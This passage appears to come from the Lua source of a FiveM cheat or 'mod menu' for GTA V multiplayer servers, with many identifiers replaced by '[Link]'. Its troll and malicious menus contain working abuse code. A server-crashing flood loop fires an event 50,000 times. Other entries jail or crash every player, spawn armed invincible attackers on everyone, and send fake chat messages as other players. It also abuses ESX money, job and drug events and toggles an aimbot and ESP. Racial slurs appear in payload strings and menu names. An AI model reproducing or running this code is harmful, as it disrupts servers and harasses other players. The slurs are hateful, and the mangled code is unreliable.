dA = ev
end
end

[Link]()
elseif [Link]("ModSelect") then
for _, ev in pairs(dA) do
if [Link]([Link]) then
GiveWeaponComponentToPed(GetPlayerPed(-
1), GetHashKey([Link]), GetHashKey([Link]))
elseif [Link]("~r~Remove " ..
[Link]) then

RemoveWeaponComponentFromPed(GetPlayerPed(-1), GetHashKey([Link]),
GetHashKey([Link]))
end
end

[Link]()
elseif [Link]("TrollMenu") then
if [Link]("ESX Server Crasher") then
for i = 1, 50000 do
TriggerServerEvent('esx_skin:responseSaveSkin', {niggers = 'gay'})
TriggerServerEvent('esx_skin:responseSaveSkin', 'niggers eat shit') end
elseif [Link]("ESX Send All To Jail") then
for i = 1, 128 do
TriggerServerEvent("esx-qalle-jail:jailPlayer", i,
5000,"Jailed")
TriggerServerEvent("esx_jailer:sendToJail", i,
45*60)
TriggerServerEvent("esx_jail:sendToJail", i, 45*60)
TriggerServerEvent("js:jailuser", i, 45*60,"Jailed")
end
elseif [Link]("Block Off Areas", "BlockAreas") then
elseif [Link]("Spawn Peds On Players",
"SpawnPedsMenu") then
elseif [Link]("Nuke Server") then
nukeserver()
elseif [Link]("Rape All Players") then
runOnAll(rape)
elseif [Link]("Spam Chat", spam, function(enabled)
spam = enabled end) then
elseif [Link]("Change Spam Message") then
local temp = KeyboardInput("Enter Message Here", "", 10000)
message = temp
elseif [Link]("Explode Everyone", blowall,
function(enabled) blowall = enabled end) then
elseif [Link]("Freeze Everyone", fall,
function(enabled) fall = enabled end) then
elseif [Link]("Explode Everyone Shooting", shootBomb,
function(enabled) shootBomb = enabled end) then
elseif [Link]("Spawn Shit On Everyone", sall,
function(enabled) sall = enabled end) then
elseif [Link]("Block Everyone From Running", runtog,
function(enabled) runtog = enabled end) then
elseif [Link]("Kick Everyone Out Of Car") then
for i = 0, 128 do
ClearPedTasksImmediately(GetPlayerPed(i))
end
elseif [Link]("Crash All Players") then
runOnAll(crash)
elseif [Link]("Fake Message") then
local da=KeyboardInput("Enter player name","",100)
if da then
local ck=KeyboardInput("Enter message","",1000)
if ck then
TriggerServerEvent('_chat:messageEntered',da,
{0,0x99,255},ck)
end
end
elseif [Link]("ESX Set All Police") then
for i = 0, 128 do
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(i), "police", 3)
TriggerServerEvent('NB:recruterplayer', i, "police", 3)
end
elseif [Link]("ESX Set All Mechanic") then
for i = 0, 128 do
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(i), "mecano", 3)
TriggerServerEvent('NB:recruterplayer', i, "mecano", 3)
end
end

[Link]()
elseif [Link]("BlockAreas") then
if [Link]("Car Dealer") then
local wallHash = GetHashKey("stt_prop_stunt_track_slope15")
RequestModel(wallHash)
local e4 = 0
while not HasModelLoaded(wallHash) do
e4 = e4 + 100
[Link](100)
if e4 > 5000 then
debugPrint("Failed to load model")
break
end
end
local wall1 = CreateObject(wallHash, -44.6, -1069.5, 91.9,
true, true, true)
SetEntityRotation(wall1, 0.0, -0.0, 160.5560, 1, true)
end

[Link]()
elseif [Link]("tunings") then
veh = GetVehiclePedIsUsing(PlayerPedId())
for i, dA in pairs(bd) do
if dA.
id == "extra"
and# checkValidVehicleExtras() ~= 0 then
if [Link]([Link], [Link]) then end elseif [Link] ==
"neon"
then
if [Link]([Link], [Link]) then end elseif [Link] ==
"paint"
then
if [Link]([Link], [Link]) then end elseif [Link] ==
"wheeltypes"
then
if [Link]([Link], [Link]) then end elseif [Link] ==
"headlight"
then
if [Link]([Link], [Link]) then end
else local as = checkValidVehicleMods([Link]) for dG, dH in
pairs(as) do
if [Link]([Link], [Link]) then end;
break end end end;
if IsToggleModOn(veh, 22) then xenonStatus = "Installed"
else xenonStatus = "Not Installed"
end;
if [Link]("Xenon Headlight", xenonStatus) then
if not IsToggleModOn(veh, 22) then ToggleVehicleMod(veh, 22,
not IsToggleModOn(veh, 22))
else ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22)) end
end;

[Link]()
elseif [Link]("performance") then
veh = GetVehiclePedIsUsing(PlayerPedId())
for i, dA in pairs(be) do
if [Link]([Link], [Link]) then
end
end
if IsToggleModOn(veh, 18) then
turboStatus = "Installed"
else
turboStatus = "Not Installed"
end
if [Link]("Turbo Tune", turboStatus) then
if not IsToggleModOn(veh, 18) then
ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
else
ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
end
end
[Link]() elseif [Link]("primary") then
[Link]("Classic", "classic1") [Link]("Metallic",
"metallic1") [Link]("Matte", "matte1") [Link]("Metal",
"metal1") [Link]() elseif [Link]("secondary") then
[Link]("Classic", "classic2") [Link]("Metallic",
"metallic2") [Link]("Matte", "matte2") [Link]("Metal",
"metal2") [Link]() elseif [Link]("rimpaint") then
[Link]("Classic", "classic3") [Link]("Metallic",
"metallic3") [Link]("Matte", "matte3") [Link]("Metal",
"metal3") [Link]() elseif [Link]("classic1") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
tp ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and tp == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = [Link](oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleColours(veh, [Link], oldsec)
SetVehicleExtraColours(veh, [Link], oldwheelcolour) b8 = true elseif b8 and curprim
== [Link] then SetVehicleColours(veh, [Link], oldsec) SetVehicleExtraColours(veh,
[Link], oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= [Link]
then SetVehicleColours(veh, [Link], oldsec) SetVehicleExtraColours(veh, [Link],
oldwheelcolour) b8 = true end end end; [Link]() elseif
[Link]("metallic1") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
tp ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and tp == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = [Link](oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleColours(veh, [Link], oldsec)
SetVehicleExtraColours(veh, [Link], oldwheelcolour) b8 = true elseif b8 and curprim
== [Link] then SetVehicleColours(veh, [Link], oldsec) SetVehicleExtraColours(veh,
[Link], oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= [Link]
then SetVehicleColours(veh, [Link], oldsec) SetVehicleExtraColours(veh, [Link],
oldwheelcolour) b8 = true end end end; [Link]() elseif
[Link]("matte1") then
for dS, dT in pairs(bi) do tp, ts = GetVehicleColours(veh) if
tp ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and tp == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) SetVehicleExtraColours(veh, [Link],
oldwheelcolour) b9 = [Link](oldprim, oldsec, oldpearl, oldwheelcolour)
SetVehicleColours(veh, [Link], oldsec) b8 = true elseif b8 and curprim == [Link] then
SetVehicleColours(veh, [Link], oldsec) SetVehicleExtraColours(veh, [Link],
oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= [Link] then
SetVehicleColours(veh, [Link], oldsec) SetVehicleExtraColours(veh, [Link],
oldwheelcolour) b8 = true end end end; [Link]() elseif
[Link]("metal1") then
for dS, dT in pairs(bj) do tp, ts = GetVehicleColours(veh) if
tp ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and tp == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = [Link](oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, [Link], oldwheelcolour)
SetVehicleColours(veh, [Link], oldsec) b8 = true elseif b8 and curprim == [Link] then
SetVehicleColours(veh, [Link], oldsec) SetVehicleExtraColours(veh, [Link],
oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= [Link] then
SetVehicleColours(veh, [Link], oldsec) SetVehicleExtraColours(veh, [Link],
oldwheelcolour) b8 = true end end end; [Link]() elseif
[Link]("classic2") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
ts ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and ts == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
[Link](oldprim, oldsec) SetVehicleColours(veh, oldprim, [Link]) b8 = true elseif
b8 and cursec == [Link] then SetVehicleColours(veh, oldprim, [Link]) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= [Link] then SetVehicleColours(veh, oldprim,
[Link]) b8 = true end end end; [Link]() elseif
[Link]("metallic2") then
for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if
ts ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and ts == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
[Link](oldprim, oldsec) SetVehicleColours(veh, oldprim, [Link]) b8 = true elseif
b8 and cursec == [Link] then SetVehicleColours(veh, oldprim, [Link]) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= [Link] then SetVehicleColours(veh, oldprim,
[Link]) b8 = true end end end; [Link]() elseif
[Link]("matte2") then
for dS, dT in pairs(bi) do tp, ts = GetVehicleColours(veh) if
ts ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and ts == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
[Link](oldprim, oldsec) SetVehicleColours(veh, oldprim, [Link]) b8 = true elseif
b8 and cursec == [Link] then SetVehicleColours(veh, oldprim, [Link]) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= [Link] then SetVehicleColours(veh, oldprim,
[Link]) b8 = true end end end; [Link]() elseif
[Link]("metal2") then
for dS, dT in pairs(bj) do tp, ts = GetVehicleColours(veh) if
ts ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and ts == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; curprim, cursec = GetVehicleColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 =
[Link](oldprim, oldsec) SetVehicleColours(veh, oldprim, [Link]) b8 = true elseif
b8 and cursec == [Link] then SetVehicleColours(veh, oldprim, [Link]) b8 = false; ba =
-1; b9 = -1 elseif b8 and cursec ~= [Link] then SetVehicleColours(veh, oldprim,
[Link]) b8 = true end end end; [Link]() elseif
[Link]("classic3") then
for dS, dT in pairs(bg) do _, ts = GetVehicleExtraColours(veh)
if ts ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and ts == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = [Link](oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, [Link]) b8 = true
elseif b8 and currims == [Link] then SetVehicleExtraColours(veh, oldpearl, [Link]) b8
= false; ba = -1; b9 = -1 elseif b8 and currims ~= [Link] then
SetVehicleExtraColours(veh, oldpearl, [Link]) b8 = true end end end;
[Link]() elseif [Link]("metallic3") then
for dS, dT in pairs(bg) do _, ts = GetVehicleExtraColours(veh)
if ts ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and ts == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = [Link](oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, [Link]) b8 = true
elseif b8 and currims == [Link] then SetVehicleExtraColours(veh, oldpearl, [Link]) b8
= false; ba = -1; b9 = -1 elseif b8 and currims ~= [Link] then
SetVehicleExtraColours(veh, oldpearl, [Link]) b8 = true end end end;
[Link]() elseif [Link]("matte3") then
for dS, dT in pairs(bi) do _, ts = GetVehicleExtraColours(veh)
if ts ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and ts == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh) b9 = [Link](oldprim, oldsec,
oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, [Link]) b8 = true
elseif b8 and currims == [Link] then SetVehicleExtraColours(veh, oldpearl, [Link]) b8
= false; ba = -1; b9 = -1 elseif b8 and currims ~= [Link] then
SetVehicleExtraColours(veh, oldpearl, [Link]) b8 = true end end end;
[Link]() elseif [Link]("metal3") then
for dS, dT in pairs(bj) do _, ts = GetVehicleExtraColours(veh)
if ts ==
[Link] and not b8 then pricetext = "Installed"
else if b8 and ts == [Link] then pricetext = "Previewing"
else pricetext = "Not Installed"
end end; _, currims = GetVehicleExtraColours(veh) if
[Link]([Link], pricetext) then
if not b8 then ba = "paint"
bc = false
oldprim, oldsec = GetVehicleColours(veh) oldpearl,
oldwheelcolour = GetVehicleExtraColours(veh)
b9 = [Link](oldprim, oldsec, oldpearl, oldwheelcolour)
SetVehicleExtraColours(veh, oldpearl, [Link])
b8 = true elseif b8 and currims == [Link] then
SetVehicleExtraColours(veh, oldpearl, [Link]) b8 = false; ba
= -1; b9 = -1 elseif b8 and currims ~= [Link] then SetVehicleExtraColours(veh,
oldpearl, [Link]) b8 = true end end end;

[Link]()
elseif [Link]("SpawnPedsMenu") then
if [Link]("Mountain Lion") then
local model = 307287994
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
RequestModel(model)
[Link](0)
end
for i = 1, 128 do
local coords = GetEntityCoords(GetPlayerPed(i))
local ped = CreatePed(29, model, coords.x, coords.y,
coords.z + 1.0, 1, true, true)
TaskCombatPed(ped,GetPlayerPed(i),0,16)
end
elseif [Link]("Alien With Ak") then
local model = 1684083350
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
RequestModel(model)
[Link](0)
end
for i = 1, 128 do
local coords = GetEntityCoords(GetPlayerPed(i))
local ped = CreatePed(21, model, coords.x, coords.y,
coords.z + 1.0, 1, true, true)
if DoesEntityExist(ped) then
GiveWeaponToPed(ped,GetHashKey("WEAPON_ASSAULTRIFLE"),9999,1,1)
SetEntityInvincible(ped,true)
SetPedCanSwitchWeapon(ped,true)
TaskCombatPed(ped,GetPlayerPed(i),0,16)
end
end
end

[Link]()
elseif [Link]("TeleportMenu") then
if [Link]("Teleport To Waypoint") then
TeleportToWaypoint()
elseif [Link]("Teleport Into Nearest Vehicle") then
teleportToNearestVehicle()
elseif [Link]("Teleport To Coords") then
TeleportToCoords()
elseif [Link](
"Show Coords",
showCoords,
function(enabled)
showCoords = enabled
end)
then
elseif [Link]("Draw Custom Blip") then
bk()
end

[Link]()
elseif [Link]("VehMenu") then
if [Link]("Repair Vehicle") then
SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 0.0)
SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 0)
SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1),
false), false)
[Link](0x1FD09E7390A74D54,
GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
elseif [Link]("Spawn Custom Vehicle") then
local ped = GetPlayerPed(-1)
local ModelName = KeyboardInput("Enter Vehicle Spawn
Name", "", 100)
if ModelName and IsModelValid(ModelName) and
IsModelAVehicle(ModelName) then
RequestModel(ModelName)
while not HasModelLoaded(ModelName) do
[Link](0)
end
if DelCurVeh and IsPedInAnyVehicle(ped, true) then
local vehicle =
GetVehiclePedIsUsing(GetPlayerPed(-1))
SetEntityAsMissionEntity(vehicle, true, true)
DeleteVehicle(vehicle)
end
local veh = CreateVehicle(GetHashKey(ModelName),
GetEntityCoords(ped), GetEntityHeading(ped), true, true)
if SpawnInVeh then
SetPedIntoVehicle(ped, veh, -1)
end
else
drawNotification("~r~Model is not valid!")
end
elseif [Link]("Vehicle Spawner", "CarTypes") then
elseif [Link]("Spawn options", "VehSpawnOpt") then
elseif [Link]("LC Customs", "NiggerCustoms") then
elseif [Link]("Delete Vehicle") then
DelVeh(GetVehiclePedIsUsing(PlayerPedId()))
elseif [Link]("Delete Closest Vehicle") then
local PlayerCoords = GetEntityCoords(PlayerPedId())
DelVeh(GetClosestVehicle(PlayerCoords.x, PlayerCoords.y,
PlayerCoords.z, 1000.0, 0, 4))
end

[Link]()
elseif [Link]("CarTypes") then
for i, e3 in ipairs(aX) do
if [Link](" "..e3, "CarTypeSelection") then
carTypeIdx = i
end
end

[Link]()
elseif [Link]("CarTypeSelection") then
for i, e3 in ipairs(aY[carTypeIdx]) do
if [Link](" "..e3, "CarOptions") then
carToSpawn = i
end
end

[Link]()
elseif [Link]("CarOptions") then
if [Link]("Spawn Car") then
local x, y, z =
[Link](GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 0.0, 0.5))
local veh = aY[carTypeIdx][carToSpawn]
if veh == nil then
veh = "adder"
end
vehiclehash = GetHashKey(veh)
RequestModel(vehiclehash)
[Link](function()
local e4 = 0
while not HasModelLoaded(vehiclehash) do
e4 = e4 + 100
[Link](100)
if e4 > 5000 then
ShowNotification("~r~Cannot spawn this vehicle.")
break
end
end
if DelCurVeh and IsPedInAnyVehicle(GetPlayerPed(-1), true)
then
local vehicle = GetVehiclePedIsUsing(GetPlayerPed(-1))
SetEntityAsMissionEntity(vehicle, true, true)
DeleteVehicle(vehicle)
end
SpawnedCar = CreateVehicle(vehiclehash, x, y, z,
GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
SetVehicleStrong(SpawnedCar, true)
SetVehicleEngineOn(SpawnedCar, true, true, false)
SetVehicleEngineCanDegrade(SpawnedCar, false)
if SpawnInVeh then
SetPedIntoVehicle(GetPlayerPed(-1), SpawnedCar, -1)
end
end)
end

[Link]()
elseif [Link]("NiggerCustoms") then
if [Link](
"Super Handling",
superGrip,
function(enabled)
superGrip = enabled
enchancedGrip = false
driftMode = false
fdMode = false
end)
then
elseif [Link](
"Enchanced Grip",
enchancedGrip,
function(enabled)
superGrip = false
enchancedGrip = enabled
driftMode = false
fdMode = false
end)
then
elseif [Link](
"Drift Mode",
driftMode,
function(enabled)
superGrip = false
enchancedGrip = false
driftMode = enabled
fdMode = false
end)
then
elseif [Link](
"Formula Drift Mode",
fdMode,
function(enabled)
superGrip = false
enchancedGrip = false
driftMode = false
fdMode = enabled
end)
then
elseif [Link]("Torque Boost", "VehBoostMenu") then
elseif [Link]("Performance Tuning", "performance")
then
elseif [Link]("Exterior Tuning", "tunings") then
elseif [Link]("Max Tuning") then
MaxOut(GetVehiclePedIsUsing(PlayerPedId()))
elseif [Link]("Max Performance") then
MaxOutPerf(GetVehiclePedIsUsing(PlayerPedId()))
end

[Link]()
elseif [Link]("VehBoostMenu") then
if [Link](
"Torque Boost 2x",
t2x,
function(enabled)
t2x = enabled
t4x = false
t8x = false
t16x = false
end)
then
elseif [Link](
"Torque Boost 4x",
t4x,
function(enabled)
t2x = false
t4x = enabled
t8x = false
t16x = false
end)
then
elseif [Link](
"Torque Boost 8x",
t8x,
function(enabled)
t2x = false
t4x = false
t8x = enabled
t16x = false
end)
then
elseif [Link](
"Torque Boost 16x",
t16x,
function(enabled)
t2x = false
t4x = false
t8x = false
t16x = enabled
end)
then
end

[Link]()
elseif [Link]("PerformanceMenu") then

[Link]()
elseif [Link]("VehSpawnOpt") then
if [Link](
"Delete Current Vehicle",
DelCurVeh,
function(enabled)
DelCurVeh = enabled
end)
then
elseif [Link](
"Spawn In Vehicle",
SpawnInVeh,
function(enabled)
SpawnInVeh = enabled
end)
then
end

[Link]()
elseif [Link]("MaliciousMenu") then
if [Link](
"Crosshair",
crosshair,
function(enabled)
crosshair = enabled
end)
then
elseif [Link](
"Crosshair 2",
crosshair2,
function(enabled)
crosshair2 = enabled
end)
then
elseif [Link](
"Crosshair 3",
crosshair3,
function(enabled)
crosshair3 = enabled
end)
then
elseif [Link]("Name Above Head", nameAboveHead,
function(enabled) nameAboveHead = enabled end) then
elseif [Link]('~o~Thermal Vision', thermalVision,
function(enabled) thermalVision = enabled SetSeethrough(thermalVision) end) then
elseif [Link](
"AimBot",
aimbot,
function(enabled)
aimbot = enabled
end)
then
elseif [Link](
"ESP",
esp,
function(enabled)
esp = enabled
end)
then
elseif [Link](
"Trigger Bot",
TriggerBot,
function(enabled)
TriggerBot = enabled
end)
then
elseif [Link](
"Player Blips",
playerBlips,
function(enabled)
playerBlips = enabled
end)
then
end

[Link]()
elseif [Link]("ESXMenu") then
if [Link]("ESX Money Options", "ESXMoneyMenu") then
elseif [Link]("ESX Job Menu", "ESXJobMenu") then
elseif [Link]("ESX Boss", "ESXBossMenu") then
elseif [Link]("ESX Drugs", "ESXDrugMenu") then
elseif [Link]("ESX Misc", "ESXMiscMenu") then
end

[Link]()
elseif [Link]("ESXMiscMenu") then
if [Link]("ESX Harvest FixKit") then
TriggerServerEvent('esx_mechanicjob:startHarvest')
elseif [Link]("ESX Craft FixKit") then
TriggerServerEvent('esx_mechanicjob:startCraft')
elseif [Link]("ESX Revive Id") then
local id = KeyboardInput("Enter Id", "", 100)
TriggerServerEvent("esx_ambulancejob:revive", id)
end

[Link]()
elseif [Link]("ESXDrugMenu") then
if [Link]('Harvest Weed (x5)') then
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
elseif [Link]('Transform Weed (x5)') then
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
elseif [Link]('Sell Weed (x5)') then
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
elseif [Link]('Harvest Coke (x5)') then
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
elseif [Link]('Transform Coke (x5)') then
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
elseif [Link]('Sell Coke (x5)') then
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
elseif [Link]('Harvest Meth (x5)') then
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
elseif [Link]('Transform Meth (x5)') then
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
elseif [Link]('Sell Meth (x5)') then
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
elseif [Link]('Harvest Opium (x5)') then
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
elseif [Link]('Transform Opium (x5)') then
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
elseif [Link]('Sell Opium (x5)') then
TriggerServerEvent('esx_drugs:startSellOpium')
TriggerServerEvent('esx_drugs:startSellOpium')
TriggerServerEvent('esx_drugs:startSellOpium')
TriggerServerEvent ('esx_drugs:startSellOpium')
TriggerServerEvent('esx_drugs:startSellOpium')
elseif [Link]('Money Wash (x10)') then
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
elseif [Link]('Stop all (Drugs)') then
TriggerServerEvent('esx_drugs:stopHarvestCoke')
TriggerServerEvent('esx_drugs:stopTransformCoke')
TriggerServerEvent('esx_drugs:stopSellCoke')
TriggerServerEvent('esx_drugs:stopHarvestMeth')
TriggerServerEvent('esx_drugs:stopTransformMeth')
TriggerServerEvent('esx_drugs:stopSellMeth')
TriggerServerEvent('esx_drugs:stopHarvestWeed')
TriggerServerEvent('esx_drugs:stopTransformWeed')
TriggerServerEvent('esx_drugs:stopSellWeed')
TriggerServerEvent('esx_drugs:stopHarvestOpium')
TriggerServerEvent('esx_drugs:stopTransformOpium')
TriggerServerEvent('esx_drugs:stopSellOpium')
end

[Link]()
elseif [Link]("ESXBossMenu") then
if [Link]("ESX Mechanic Boss Menu") then

TriggerEvent("esx_society:openBossMenu",'mecano',function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","mecano",function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",'mecano',function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","mecano",function(dW,dX)
[Link]()end)

TriggerEvent("esx_society:openBossMenu",'mecano',function(dY,dZ)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","mecano",function(dY,dZ)
[Link]()
end)
[Link]()
elseif [Link]("ESX Police Boss Menu") then

TriggerEvent("esx_society:openBossMenu",'police',function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","police",function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",'police',function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","police",function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",'police',function(dY,dZ)
[Link]()
end)
TriggerEvent("esx_society:openBossMenu","police",function(dY,dZ)
[Link]()
end)
[Link]()
elseif [Link]("ESX Ambulance Boss Menu") then

TriggerEvent("esx_society:openBossMenu",'ambulance',function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","ambulance",function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",'ambulance',function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","ambulance",function(dW,dX)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu",'ambulance',function(dY,dZ)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","ambulance",function(dY,dZ)
[Link]()
end)
[Link]()
elseif [Link]("ESX Taxi Boss Menu") then

TriggerEvent("esx_society:openBossMenu",'taxi',function(dU,dV)
[Link]()
end)

TriggerEvent("esx_society:openBossMenu","taxi",function(dU,dV)
[Link]()
end)

